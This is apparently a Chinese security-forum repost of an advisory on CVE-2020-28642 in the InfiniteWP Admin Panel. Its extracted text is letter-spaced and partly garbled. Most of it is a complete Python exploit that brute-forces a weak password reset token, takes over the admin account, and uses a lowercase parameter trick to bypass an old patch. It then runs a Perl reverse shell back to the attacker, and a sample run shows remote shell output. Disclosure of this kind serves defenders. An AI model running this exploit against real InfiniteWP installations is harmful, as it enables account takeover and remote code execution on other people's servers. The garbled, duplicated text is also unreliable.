[20426] 2020-12-24_CVE-2020-28642WP身份验证绕过和RCE

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2020-12-24_CVE-2020-28642WP身份验证绕过和RCE C V E - 2 0 2 0 - 2 8 6 4 2   W P R C E S S D - D i s c l o s u r e   K h a n   2 0 2 0 - 1 2 - 2 4 C V E - 2 0 2 0 - 2 8 6 4 2   W P R C E                 I n f i n i t e W P   " W o r d P r e s s W o r d P r e s s "                 I n f i n i t e W P S h i e l d e r   (   S h i e l d e r S e c   ) p o l i c t S S D                 I n f i n i t e   W P   2 . 1 5 . 6                 I n f i n i t e   W P   2 . 1 5 . 7 2 . 1 5 . 6 2 . 1 5 . 7 - - C V E - 2 0 2 0 - 2 8 6 4 2 2 0 2 0 9 3 - 4 2 0 2 1 1 2 0 2 0 1 1 - - - - 1 .   I n f i n i t e W P u s e r L o g i n R e s e t P a s s w o r d ( $ p a r a m s ) ( c o n t r o l l e r s / a p p F u n c t i o n s . p h p 1 3 4 1 ) $ u s e r D e t s [ ' u s e r I D ' ] $ p a r a m s [ " e m a i l " ] e m a i l . I D e m a i l m i c r o t i m e ( t r u e ) I D 1 ' m a n a g e - u s e r s ' ( h t t p s : / / i n f i n i t e w p . c o m / d o c s / a d d o n s / m a n a g e - u s e r s / ) 1 5 H T T P H T T P l o g i n . p h p ? v i e w = r e s e t P a s s w o r d & e r r o r M s g = r e s e t P a s s w o r d E m a i l N o t F o u n d m i c r o t i m e ( t r u e ) U N I X ( p h p . n e t / m i c r o t i m e ) H T T P   " D a t e   " ( ) r e s e t H a s h 2 4 1 0 0 2 4 $ h a s h V a l u e   =   s e r i a l i z e ( a r r a y ( ' h a s h C o d e '   = >   ' r e s e t P a s s w o r d ' ,   ' u n i q u e T i m e '   = >   m i c r o t i m e ( t r u e ) ,   ' u s e r P i n '   = >   $ u s e r D e t s [ ' u s e r I D ' ] ) ) ; $ r e s e t H a s h   =   s h a 1 ( $ h a s h V a l u e ) ; [ . . . ] $ v e r i f i c a t i o n U R L   =   A P P _ U R L . " l o g i n . p h p ? v i e w = r e s e t P a s s w o r d C h a n g e & r e s e t H a s h = " . $ r e s e t H a s h . " & t r a n s I D = " . s h a 1 ( $ p a r a m s [ " e m a i l " ] ) ;
1 / / I n f i n i t e   W P 访 2 .     " a d d F u n c t i o n s   "   " c h e c k D a t a I s V a l i d " 2 0 1 6 I n f i n i t e   W P   A d m i n   P a n e l   2 . 8 . 0 / a j a x . p h p   A P I h t t p s : / / p a c k e t s t o r m s e c u r i t y . c o m / f i l e s / 1 3 8 6 6 8 / W o r d P r e s s - I n f i n i t e W P - A d m i n - P a n e l - 2 . 8 . 0 - C o m m a n d - I n j e c t i o n . h t m l c h e c k D a t a I s V a l i d ( $ a c t i o n ) ( c o n t r o l l e r / p a n e l R e q u e s t M a n a g e r . p h p 3 7 8 2 ) P H P 使 a d d f u n c t i o n s   " f " E P X p r i v a t e   s t a t i c   f u n c t i o n   c h e c k D a t a I s V a l i d ( $ a c t i o n ) {         / / R e s t r i c t e d   f u n c t i o n   a c c e s s         $ f u n c t i o n s   =   a r r a y ( ' a d d F u n c t i o n s ' ) ;         i f ( ! i n _ a r r a y ( $ a c t i o n ,   $ f u n c t i o n s ) ) {                 r e t u r n   t r u e ;         }         r e t u r n   f a l s e ; } # ! / u s r / b i n / e n v   p y t h o n 3 #   c o d i n g :   u t f 8 # #   e x p l o i t   c o d e   f o r   u n a u t h e n t i c a t e d   r c e   i n   I n f i n i t e W P   A d m i n   P a n e l   v 2 . 1 5 . 6 # #   t e s t e d   o n : #   -   I n f i n i t e W P   A d m i n   P a n e l   v 2 . 1 5 . 6   r e l e a s e d   o n   A u g u s t   1 0 ,   2 0 2 0 # #   t h e   b u g   c h a i n   i s   m a d e   o f   t w o   b u g s : #   1 .   w e a k   p a s s w o r d   r e s e t   t o k e n   l e a d s   t o   p r i v i l e g e   e s c a l a t i o n #   2 .   r c e   p a t c h   f r o m   2 0 1 6   c a n   b e   b y p a s s e d   w i t h   s a m e   p a y l o a d   b u t   l o w e r c a s e # #   e x a m p l e   r u n : #   $   . / i w p _ r c e . p y   - e   ' a @ b . c '   - r h   h t t p : / / 1 9 2 . 1 6 8 . 1 1 . 1 2 9 / i w p   - l h   1 9 2 . 1 6 8 . 1 1 . 1 #   2 0 2 0 - 0 8 - 1 3   1 4 : 4 5 : 2 9 , 4 9 6   -   I N F O   -   i n i t i a t i n g   p a s s w o r d   r e s e t . . . #   2 0 2 0 - 0 8 - 1 3   1 4 : 4 5 : 2 9 , 5 3 7   -   I N F O   -   r e s e t   t o k e n   h a s   b e e n   g e n e r a t e d   a t   1 5 9 7 3 2 2 7 2 8 ,   s t a r t i n g   t h e   b r u t e f o r c e . . . #   2 0 2 0 - 0 8 - 1 3   1 4 : 4 5 : 2 9 , 5 3 8   -   I N F O   -   s t a r t i n g   w i t h   u i d   1 . . . #   2 0 2 0 - 0 8 - 1 3   1 4 : 5 0 : 0 5 , 3 1 8   -   I N F O   -   t e s t e d   5 0 0 0 0   ( 5 . 0 % )   h a s h e s   s o   f a r   f o r   u i d   1 . . . #   2 0 2 0 - 0 8 - 1 3   1 4 : 5 4 : 4 9 , 0 9 4   -   I N F O   -   t e s t e d   1 0 0 0 0 0   ( 1 0 . 0 % )   h a s h e s   s o   f a r   f o r   u i d   1 . . . #   2 0 2 0 - 0 8 - 1 3   1 4 : 5 9 : 1 5 , 2 8 2   -   I N F O   -   t e s t e d   1 5 0 0 0 0   ( 1 5 . 0 % )   h a s h e s   s o   f a r   f o r   u i d   1 . . . #   2 0 2 0 - 0 8 - 1 3   1 5 : 0 4 : 1 9 , 9 3 3   -   I N F O   -   t e s t e d   2 0 0 0 0 0   ( 2 0 . 0 % )   h a s h e s   s o   f a r   f o r   u i d   1 . . . #   2 0 2 0 - 0 8 - 1 3   1 5 : 0 8 : 5 5 , 1 6 2   -   I N F O   -   t e s t e d   2 5 0 0 0 0   ( 2 5 . 0 % )   h a s h e s   s o   f a r   f o r   u i d   1 . . . #   2 0 2 0 - 0 8 - 1 3   1 5 : 1 3 : 3 8 , 5 2 4   -   I N F O   -   t e s t e d   3 0 0 0 0 0   ( 3 0 . 0 % )   h a s h e s   s o   f a r   f o r   u i d   1 . . . #   2 0 2 0 - 0 8 - 1 3   1 5 : 1 5 : 4 3 , 3 7 5   -   I N F O   -   p a s s w o r d   h a s   b e e n   r e s e t ,   y o u   c a n   n o w   l o g i n   u s i n g   a @ b . c : m s C o d W b s d x G G E T s w n m W J y A N E / x 2 j 6 d 9 G #   2 0 2 0 - 0 8 - 1 3   1 5 : 1 5 : 4 3 , 3 7 7   -   I N F O   -   r e m o v i n g   f r o m   t h e   q u e u e   a l l   t h e   r e m a i n i n g   h a s h e s . . . #   2 0 2 0 - 0 8 - 1 3   1 5 : 1 5 : 4 5 , 4 3 1   -   I N F O   -   s p a w n i n g   a   r e m o t e   s h e l l . . . #   / b i n / s h :   0 :   c a n ' t   a c c e s s   t t y ;   j o b   c o n t r o l   t u r n e d   o f f #   $   i d #   u i d = 1 ( d a e m o n )   g i d = 1 ( d a e m o n )   g r o u p s = 1 ( d a e m o n ) #   $   u n a m e   - a #   L i n u x   d e b i a n   4 . 1 9 . 0 - 1 0 - a m d 6 4   # 1   S M P   D e b i a n   4 . 1 9 . 1 3 2 - 1   ( 2 0 2 0 - 0 7 - 2 4 )   x 8 6 _ 6 4   G N U / L i n u x #   $   e x i t #   * * *   C o n n e c t i o n   c l o s e d   b y   r e m o t e   h o s t   * * * #   #   p o l i c t ,   1 3 / 0 8 / 2 0 2 0 i m p o r t   s y s ,   t i m e i m p o r t   r e q u e s t s   f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g ) f r o m   c o n c u r r e n t . f u t u r e s   i m p o r t   a s _ c o m p l e t e d f r o m   r e q u e s t s _ f u t u r e s . s e s s i o n s   i m p o r t   F u t u r e s S e s s i o n i m p o r t   l o g g i n g i m p o r t   l o g g i n g . h a n d l e r s i m p o r t   d a t e t i m e f r o m   a r g p a r s e   i m p o r t   A r g u m e n t P a r s e r f r o m   h a s h l i b   i m p o r t   s h a 1 i m p o r t   s o c k e t i m p o r t   t e l n e t l i b f r o m   t h r e a d i n g   i m p o r t   T h r e a d # # #   d e f a u l t   s e t t i n g s D E F A U L T _ L P O R T   =   9 1 1 1 D E F A U L T _ M I C R O S   =   1 0 0 0 0 0 0 D E F A U L T _ N E W _ P A S S W O R D   =   " m s C o d W b s d x G G E T s w n m W J y A N E / x 2 j 6 d 9 G " P E R L _ R E V _ S H E L L _ T P L   =   " p e r l   - e   ' u s e   S o c k e t ; $ i = " % s " ; $ p = % d ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ; ' "
P E R L _ R E V _ S H E L L _ T P L   =   " p e r l   - e   ' u s e   S o c k e t ; $ i = " % s " ; $ p = % d ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ; ' " # # #   a r g u m e n t   p a r s i n g p a r s e r   =   A r g u m e n t P a r s e r ( ) p a r s e r . a d d _ a r g u m e n t ( " - r h " ,   " - - r h o s t " ,   d e s t = " r h o s t " ,   r e q u i r e d = T r u e ,                         h e l p = " r e m o t e   I n f i n i t e W P   A d m i n   P a n e l   w e b r o o t ,   e . g . :   h t t p : / / 1 0 . 1 0 . 1 0 . 1 1 : 8 0 8 0 / i w p " ) p a r s e r . a d d _ a r g u m e n t ( " - e " ,   " - - e m a i l " ,   d e s t = " e m a i l " ,                         h e l p = " t a r g e t   e m a i l " ,   r e q u i r e d = T r u e ) p a r s e r . a d d _ a r g u m e n t ( " - u " ,   ' - - u s e r - i d ' ,   d e s t = " u i d " ,                         h e l p = " u s e r _ i d   ( i n   t h e   d e f a u l t   i n s t a l l a t i o n   i t   i s   1 ,   i f   n o t   s e t   w i l l   t r y   1 . . 5 ) " ) p a r s e r . a d d _ a r g u m e n t ( " - l h " ,   ' - - l h o s t ' ,   d e s t = " l h o s t " ,                         h e l p = " l o c a l   i p   t o   u s e   f o r   r e m o t e   s h e l l   c o n n e c t - b a c k " ,                         r e q u i r e d = T r u e ) p a r s e r . a d d _ a r g u m e n t ( " - t s " ,   ' - - t o k e n - t i m e s t a m p ' ,   d e s t = " s t a r t _ t s " ,                         h e l p = " t h e   u n i x   t i m e s t a m p   t o   u s e   f o r   t h e   t o k e n   b r u t e f o r c e ,   e . g .   1 5 9 7 3 2 2 7 2 8 " ) p a r s e r . a d d _ a r g u m e n t ( " - m " ,   " - - m i c r o s " ,   d e s t = " m i c r o s _ e l a p s e d " ,                         h e l p = " n u m b e r   o f   m i c r o s e c o n d s   t o   t e s t   ( i f   n o t   s e t   1 0 0 0 0 0 0   ( 1   s e c o n d ) ) " ,                         d e f a u l t = D E F A U L T _ M I C R O S ) p a r s e r . a d d _ a r g u m e n t ( " - l p " ,   ' - - l p o r t ' ,   d e s t = " l p o r t " ,                         h e l p = " l o c a l   p o r t   t o   u s e   f o r   r e m o t e   s h e l l   c o n n e c t - b a c k " ,                         d e f a u l t = D E F A U L T _ L P O R T ) p a r s e r . a d d _ a r g u m e n t ( " - p " ,   ' - - n e w - p a s s w o r d ' ,   d e s t = " n e w _ p a s s w o r d " ,                         h e l p = " n e w   p a s s w o r d   ( i f   n o t   s e t   w i l l   c o n f i g u r e   ' { } ' ) " . f o r m a t ( D E F A U L T _ N E W _ P A S S W O R D ) ,                         d e f a u l t = D E F A U L T _ N E W _ P A S S W O R D ) p a r s e r . a d d _ a r g u m e n t ( " - d " ,   " - - d e b u g " ,   d e s t = " d e b u g _ m o d e " ,                         a c t i o n = " s t o r e _ t r u e " ,                         h e l p = " e n a b l e   d e b u g   m o d e " ) a r g s   =   p a r s e r . p a r s e _ a r g s ( ) l o g   =   l o g g i n g . g e t L o g g e r ( _ _ n a m e _ _ ) i f   a r g s . d e b u g _ m o d e :         l o g . s e t L e v e l ( l o g g i n g . D E B U G ) e l s e :         l o g . s e t L e v e l ( l o g g i n g . I N F O ) h a n d l e r   =   l o g g i n g . S t r e a m H a n d l e r ( s y s . s t d o u t ) h a n d l e r . s e t F o r m a t t e r ( l o g g i n g . F o r m a t t e r ( ' % ( a s c t i m e ) s   -   % ( l e v e l n a m e ) s   -   % ( m e s s a g e ) s ' ) ) l o g . a d d H a n d l e r ( h a n d l e r ) # # #   a c t u a l   e x p l o i t   l o g i c d e f   i n i t _ p w _ r e s e t ( ) :         g l o b a l   a r g s         s t a r t _ c l o c k   =   t i m e . p e r f _ c o u n t e r ( )         s t a r t _ t s   =   d a t e t i m e . d a t e t i m e . u t c n o w ( ) . r e p l a c e ( t z i n f o = d a t e t i m e . t i m e z o n e . u t c )         l o g . d e b u g ( " i n i t   p w   r e s e t   s t a r t   t s :   { } " . f o r m a t ( s t a r t _ t s ) )         r e s p o n s e   =   r e q u e s t s . p o s t ( " { } / l o g i n . p h p " . f o r m a t ( a r g s . r h o s t ) ,   v e r i f y = F a l s e ,         d a t a = {                 " e m a i l " :   a r g s . e m a i l ,                   " a c t i o n " :   " r e s e t P a s s w o r d S e n d M a i l " ,                   " l o g i n S u b m i t " :   " S e n d   R e s e t   L i n k "         } ,   a l l o w _ r e d i r e c t s = F a l s e )         l o g . d e b u g ( " i n i t   p w   r e s e t   r e t u r n e d   t h e s e   h e a d e r s :   { } " . f o r m a t ( r e s p o n s e . h e a d e r s ) )         " " "         n o w   w e   c o u l d   u s e   o u r   r e g i s t e r e d   t i m i n g s   t o   r e s t r i c t   t h e   b r u t e f o r c e   v a l u e s   t o   t h e   m i n i m u m   r a n g e         i n s t e a d   o f   u s i n g   t h e   w h o l e   " l a s t   s e c o n d "   m i c r o s e c o n d s   r a n g e ,   h o w e v e r   w e   c a n ' t   b e   1 0 0 %   s u r e         t h e   t a r g e t   s e r v e r   i s   a c t u a l l y   N T P - s y n c e d   j u s t   v i a   t h e   H T T P   " D a t e "   h e a d e r ,   s o   l e t ' s   s k i p   i t   f o r   n o w         #   c a l c u l a t e   a c t u a l   n t p - t i m e   r a n g e         e n d _ c l o c k   =   t i m e . p e r f _ c o u n t e r ( )   #   d a t e t i m e . d a t e t i m e . u t c n o w ( ) . r e p l a c e ( t z i n f o = d a t e t i m e . t i m e z o n e . u t c )         d e l t a _ c l o c k   =   e n d _ c l o c k   -   s t a r t _ c l o c k         e n d _ t s   =   s t a r t _ t s   +   d a t e t i m e . t i m e d e l t a ( s e c o n d s = d e l t a _ c l o c k )         l o g . d e b u g ( " e n d :   { } " . f o r m a t ( e n d _ t s ) )         p r i n t ( " d e l t a   c l o c k   { }   - -   e n d   t s   { }   t i m e s t a m p :   { } " . f o r m a t ( d e l t a _ c l o c k ,   e n d _ t s ,   e n d _ t s . t i m e s t a m p ( ) ) )         #   t h i s   t a k e s   f o r   g a r a n t e e d   t h a t   t h e   r e s p o n s e   a r r i v e s   b e f o r e   1   m i n u t e   i s   e l a p s e d         m i c r o s _ e l a p s e d   =   d e l t a _ t s . s e c o n d s   *   1 0 0 0 0 0 0   +   d e l t a _ t s . m i c r o s e c o n d s         l o g . d e b u g ( " m i c r o s   e l a p s e d :   { } " . f o r m a t ( m i c r o s _ e l a p s e d ) )         " " "         i f   r e s p o n s e . s t a t u s _ c o d e   = =   3 0 2   a n d   " r e s e t P a s s w o r d E m a i l N o t F o u n d "   i n   r e s p o n s e . h e a d e r s [ ' l o c a t i o n ' ] :                 l o g . e r r o r ( " t h e   i n p u t   e m a i l   i s   n o t   r e g i s t e r e d   i n   t h e   t a r g e t   I n f i n i t e   W P   A d m i n   P a n e l ,   r e t r y   w i t h   a n o t h e r   o n e " )                 s y s . e x i t ( 1 )         #   b o t h   r e d i r e c t s   a r e   o k   b e c a u s e   t h e   r e s e t   h a s h   i s   w r i t t e n   i n   t h e   d b   b e f o r e   s e n d i n g   t h e   m a i l         i f   r e s p o n s e . s t a t u s _ c o d e   = =   3 0 2                   a n d   ( r e s p o n s e . h e a d e r s [ " l o c a t i o n " ]   = =   ' l o g i n . p h p ? s u c c e s s M s g = r e s e t P a s s w o r d M a i l S e n t '                           o r   r e s p o n s e . h e a d e r s [ " l o c a t i o n " ]   = =   ' l o g i n . p h p ? v i e w = r e s e t P a s s w o r d & e r r o r M s g = r e s e t P a s s w o r d M a i l E r r o r ' ) :                 #   D a t e :   T u e ,   1 1   A u g   2 0 2 0   0 9 : 5 9 : 3 8   G M T   - - >   d t   o b j                 s e r v e r _ d t   =   d a t e t i m e . d a t e t i m e . s t r p t i m e ( r e s p o n s e . h e a d e r s [ " d a t e " ] ,   ' % a ,   % d   % b   % Y   % H : % M : % S   G M T ' )                 s e r v e r _ d t   =   s e r v e r _ d t . r e p l a c e ( t z i n f o = d a t e t i m e . t i m e z o n e . u t c )                 l o g . d e b u g ( " s e r v e r   t i m e :   { } " . f o r m a t ( s e r v e r _ d t ) )                 " " "                 t h i s   c o u l d   b e   a   b r u t e f o r c e   o p t i m i z a t i o n ,   h o w e v e r   i t   i s   n o t   1 0 0 %   r e l i a b l e   a s   m e n t i o n e d   e a r l i e r                 i f   ( e n d _ t s   -   s e r v e r _ d t )   >   d a t e t i m e . t i m e d e l t a ( m i l l i s e c o n d s = 5 0 0 ) :                         l o g . w a r n i n g ( " t h e   t a r g e t   s e r v e r   d o e s n ' t   l o o k   n t p - s y n c e d ,   e x p l o i t   w i l l   m o s t   p r o b a b l y   f a i l " )                   " " "                 a r g s . s t a r t _ t s   =   i n t ( s e r v e r _ d t . t i m e s t a m p ( ) )
                a r g s . s t a r t _ t s   =   i n t ( s e r v e r _ d t . t i m e s t a m p ( ) )                 #   a r g s . m i c r o s _ e l a p s e d   =   1 0 0 0 0 0 0                 r e t u r n           e l s e :                 l o g . e r r o r ( " p w   r e s e t   i n i t   f a i l e d ,   c h e c k   w i t h   d e b u g   e n a b l e d   ( - d ) " )                 s y s . e x i t ( 1 ) d e f   g e n e r a t e _ r e s e t _ h a s h ( t i m e s t a m p ,   u i d ) :         g l o b a l   a r g s         " " "                 $ h a s h V a l u e   =   s e r i a l i z e ( a r r a y ( ' h a s h C o d e '   = >   ' r e s e t P a s s w o r d ' ,                   ' u n i q u e T i m e '   = >   m i c r o t i m e ( t r u e ) ,                   ' u s e r P i n '   = >   $ u s e r D e t s [ ' u s e r I D ' ] ) ) ;                 ^   e . g .   a : 3 : { s : 8 : " h a s h C o d e " ; s : 1 3 : " r e s e t P a s s w o r d " ; s : 1 0 : " u n i q u e T i m e " ; d : 1 5 9 7 1 4 3 1 2 7 . 4 4 5 1 6 4 ; s : 7 : " u s e r P i n " ; s : 1 : " 1 " ; }                 $ r e s e t H a s h   =   s h a 1 ( $ h a s h V a l u e ) ;         " " "         t e m p l a t e _ t s _ u i d   =   " a : 3 : { s : 8 : " h a s h C o d e " ; s : 1 3 : " r e s e t P a s s w o r d " ; s : 1 0 : " u n i q u e T i m e " ; d : % s ; s : 7 : " u s e r P i n " ; s : 1 : " % s " ; } "                                               #   a : 3 : { s : 8 : " h a s h C o d e " ; s : 1 3 : " r e s e t P a s s w o r d " ; s : 1 0 : " u n i q u e T i m e " ; d : 1 5 9 7 1 6 7 7 8 4 . 1 7 5 6 2 5 ; s : 7 : " u s e r P i n " ; s : 1 : " 1 " ; }         s e r i a l i z e d _ r e s e t h a s h   =   t e m p l a t e _ t s _ u i d   % ( t i m e s t a m p ,   u i d )         h a s h _ o b j   =   s h a 1 ( s e r i a l i z e d _ r e s e t h a s h . e n c o d e ( ) )         r e s e t _ h a s h   =   h a s h _ o b j . h e x d i g e s t ( )         l o g . d e b u g ( " s e r i a l i z e d   r e s e t _ h a s h :   { }   - -   s h a 1 :   { } " . f o r m a t ( s e r i a l i z e d _ r e s e t h a s h ,   r e s e t _ h a s h ) )         r e t u r n   r e s e t _ h a s h d e f   b r u t e _ p w _ r e s e t ( ) :         g l o b a l   a r g s ,   s t a r t _ t i m e         i f   a r g s . u i d   i s   N o n e :                 #   i n   t h e   d e f a u l t   i n s t a l l a t i o n   t h e   u i d   i s   1 ,   b u t   l e t ' s   t r y   a l s o   s o m e   o t h e r s   i n   c a s e   t h e y   h a v e   i n s t a l l e d                   #   t h e   " m a n a g e - u s e r s "   a d d o n :   h t t p s : / / i n f i n i t e w p . c o m / d o c s / a d d o n s / m a n a g e - u s e r s /                 u i d s   =   [ 1 , 2 , 3 , 4 , 5 ]         e l s e :                 u i d s   =   [ a r g s . u i d ]         l o g . d e b u g ( " u s i n g   u i d s :   { }   - -   s t a r t   t s   { } " . f o r m a t ( u i d s ,   a r g s . s t a r t _ t s ) )         s h a 1 _ e m a i l   =   s h a 1 ( a r g s . e m a i l . e n c o d e ( ) ) . h e x d i g e s t ( )         w i t h   F u t u r e s S e s s i o n ( )   a s   s e s s i o n :   #   m a x _ w o r k e r s = 4                 f o r   u i d   i n   u i d s :                         l o g . i n f o ( " s t a r t i n g   w i t h   u i d   { } . . . " . f o r m a t ( u i d ) )                         m i c r o s e c o n d   =   0                         h a s h e s _ t e s t e d   =   0                         w h i l e   m i c r o s e c o n d   <   a r g s . m i c r o s _ e l a p s e d :                                 f u t u r e s   =   [ ]                                 #   t r y   1 0 0 k   p e r   t i m e   t o   a v o i d   r a m   c l u t t e r i n g                                 f o r   _   i n   r a n g e ( 1 0 0 0 0 0 ) :                                         #   t e s t _ t s   =   a r g s . s t a r t _ t s   +   d a t e t i m e . t i m e d e l t a ( m i c r o s e c o n d s = m i c r o s e c o n d ) . r e p l a c e ( t z i n f o = d a t e t i m e . t i m e z o n e . u t c )                                         #   u n i x _ t s   =   i n t ( t e s t _ t s . t i m e s t a m p ( ) )                                         m s _ s t r i n g   =   s t r ( a r g s . s t a r t _ t s )   +   " . "   +   s t r ( m i c r o s e c o n d ) . z f i l l ( 6 )                                         r e s e t _ h a s h   =   g e n e r a t e _ r e s e t _ h a s h ( m s _ s t r i n g ,   u i d )                                         f u t u r e s . a p p e n d ( s e s s i o n . p o s t ( " { } / l o g i n . p h p " . f o r m a t ( a r g s . r h o s t ) ,   v e r i f y = F a l s e ,   d a t a = { " t r a n s I D " :   s h a 1 _ e m a i l ,                                                   " a c t i o n " : " r e s e t P a s s w o r d C h a n g e " ,                                                   " r e s e t H a s h " :   r e s e t _ h a s h ,                                                   " n e w P a s s w o r d " :   a r g s . n e w _ p a s s w o r d                                           } ,   a l l o w _ r e d i r e c t s = F a l s e ) )                                         m i c r o s e c o n d   + =   1                                 f o r   f u t u r e   i n   a s _ c o m p l e t e d ( f u t u r e s ) :                                         i f   h a s h e s _ t e s t e d   %   5 0 0 0 0   = =   0   a n d   h a s h e s _ t e s t e d   >   0 :                                                 l o g . i n f o ( " t e s t e d   { }   ( { } % )   h a s h e s   s o   f a r   f o r   u i d   { } . . . " . f o r m a t ( h a s h e s _ t e s t e d ,   i n t ( ( h a s h e s _ t e s t e d / a r g s . m i c r o s _ e l a p s e d ) * 1 0 0 ) ,   u i d ) )                                         h a s h e s _ t e s t e d   + =   1                                         r e s p o n s e   =   f u t u r e . r e s u l t ( )                                         l o g . d e b u g ( " r e s p o n s e   s t a t u s   c o d e   { }   -   l o c a t i o n   { } " . f o r m a t ( r e s p o n s e . s t a t u s _ c o d e ,   r e s p o n s e . h e a d e r s [ " l o c a t i o n " ] ) )                                         i f   " s u c c e s s M s g "   i n   r e s p o n s e . h e a d e r s [ " l o c a t i o n " ]   :                                                 l o g . i n f o ( " p a s s w o r d   h a s   b e e n   r e s e t ,   y o u   c a n   n o w   l o g i n   u s i n g   { } : { } " . f o r m a t ( a r g s . e m a i l ,   a r g s . n e w _ p a s s w o r d ) )                                                 l o g . i n f o ( " r e m o v i n g   f r o m   t h e   q u e u e   a l l   t h e   r e m a i n i n g   h a s h e s . . . " )                                                 f o r   f u t u r e   i n   f u t u r e s :                                                         f u t u r e . c a n c e l ( )                                                 r e t u r n                         l o g . i n f o ( " t a r g e t   u s e r   d o e s n ' t   h a v e   u i d   { } . . . " . f o r m a t ( u i d ) )         l o g . e r r o r ( " j u s t   f i n i s h e d   t e s t i n g   a l l   { }   h a s h e s ,   t h e   e x p l o i t   h a s   f a i l e d " . f o r m a t ( h a s h e s _ t e s t e d ) )         s y s . e x i t ( 1 ) d e f   h a n d l e r ( ) :         g l o b a l   a r g s         t   =   t e l n e t l i b . T e l n e t ( )         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s . b i n d ( ( " 0 . 0 . 0 . 0 " ,   a r g s . l p o r t ) )         s . l i s t e n ( 1 )         c o n n ,   a d d r   =   s . a c c e p t ( )         l o g . d e b u g ( " C o n n e c t i o n   f r o m   % s   % s   r e c e i v e d ! "   %   ( a d d r [ 0 ] ,   a d d r [ 1 ] ) )         t . s o c k   =   c o n n         t . i n t e r a c t ( ) d e f   l o g i n _ a n d _ r c e ( ) :         g l o b a l   a r g s         h a n d l e r t h r   =   T h r e a d ( t a r g e t = h a n d l e r )         h a n d l e r t h r . s t a r t ( )         #   l o g i n   a n d   r e c o r d   c o o k i e s         s   =   r e q u e s t s . S e s s i o n ( )
h t t p s : / / s s d - d i s c l o s u r e . c o m / s s d - a d v i s o r y - a u t h - b y p a s s - a n d - r c e - i n - i n f i n i t e - w p - a d m i n - p a n e l /         s   =   r e q u e s t s . S e s s i o n ( )         l o g . d e b u g ( " l o g g i n g   i n . . . " )         l o g i n   =   s . p o s t ( " { } / l o g i n . p h p " . f o r m a t ( a r g s . r h o s t ) ,   d a t a = { " e m a i l " :   a r g s . e m a i l ,         " p a s s w o r d " :   a r g s . n e w _ p a s s w o r d ,         " l o g i n S u b m i t " :   " L o g   i n " } )         l o g . d e b u g ( " l o g i n   r e t   { }   h e a d e r s   { } " . f o r m a t ( l o g i n . s t a t u s _ c o d e ,   l o g i n . h e a d e r s ) )         #   r c e         r c e   =   s . g e t ( " { } / a j a x . p h p " . f o r m a t ( a r g s . r h o s t ) ,   p a r a m s = { " a c t i o n " :   " p o l i c t " ,         #   n o t i c e   t h e   l o w e r c a s e   f           #   ( b y p a s s   o f   p a t c h   f o r   h t t p s : / / p a c k e t s t o r m s e c u r i t y . c o m / f i l e s / 1 3 8 6 6 8 / W o r d P r e s s - I n f i n i t e W P - A d m i n - P a n e l - 2 . 8 . 0 - C o m m a n d - I n j e c t i o n . h t m l )         " r e q u i r e d D a t a [ a d d f u n c t i o n s ] "   :   " s y s t e m " ,           " r e q u i r e d D a t a [ s y s t e m ] " :   P E R L _ R E V _ S H E L L _ T P L   %   ( a r g s . l h o s t ,   a r g s . l p o r t )         } )         l o g . d e b u g ( " r c e   r e t   { }   h e a d e r s   { } " . f o r m a t ( r c e . s t a t u s _ c o d e ,   r c e . h e a d e r s ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         i f   a r g s . s t a r t _ t s   i s   N o n e :                 l o g . i n f o ( " i n i t i a t i n g   p a s s w o r d   r e s e t . . . " )                 i n i t _ p w _ r e s e t ( )         l o g . i n f o ( " r e s e t   t o k e n   h a s   b e e n   g e n e r a t e d   a t   { } ,   s t a r t i n g   t h e   b r u t e f o r c e . . . " . f o r m a t ( a r g s . s t a r t _ t s ) )         b r u t e _ p w _ r e s e t ( )         l o g . i n f o ( " s p a w n i n g   a   r e m o t e   s h e l l . . . " )         l o g i n _ a n d _ r c e ( )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则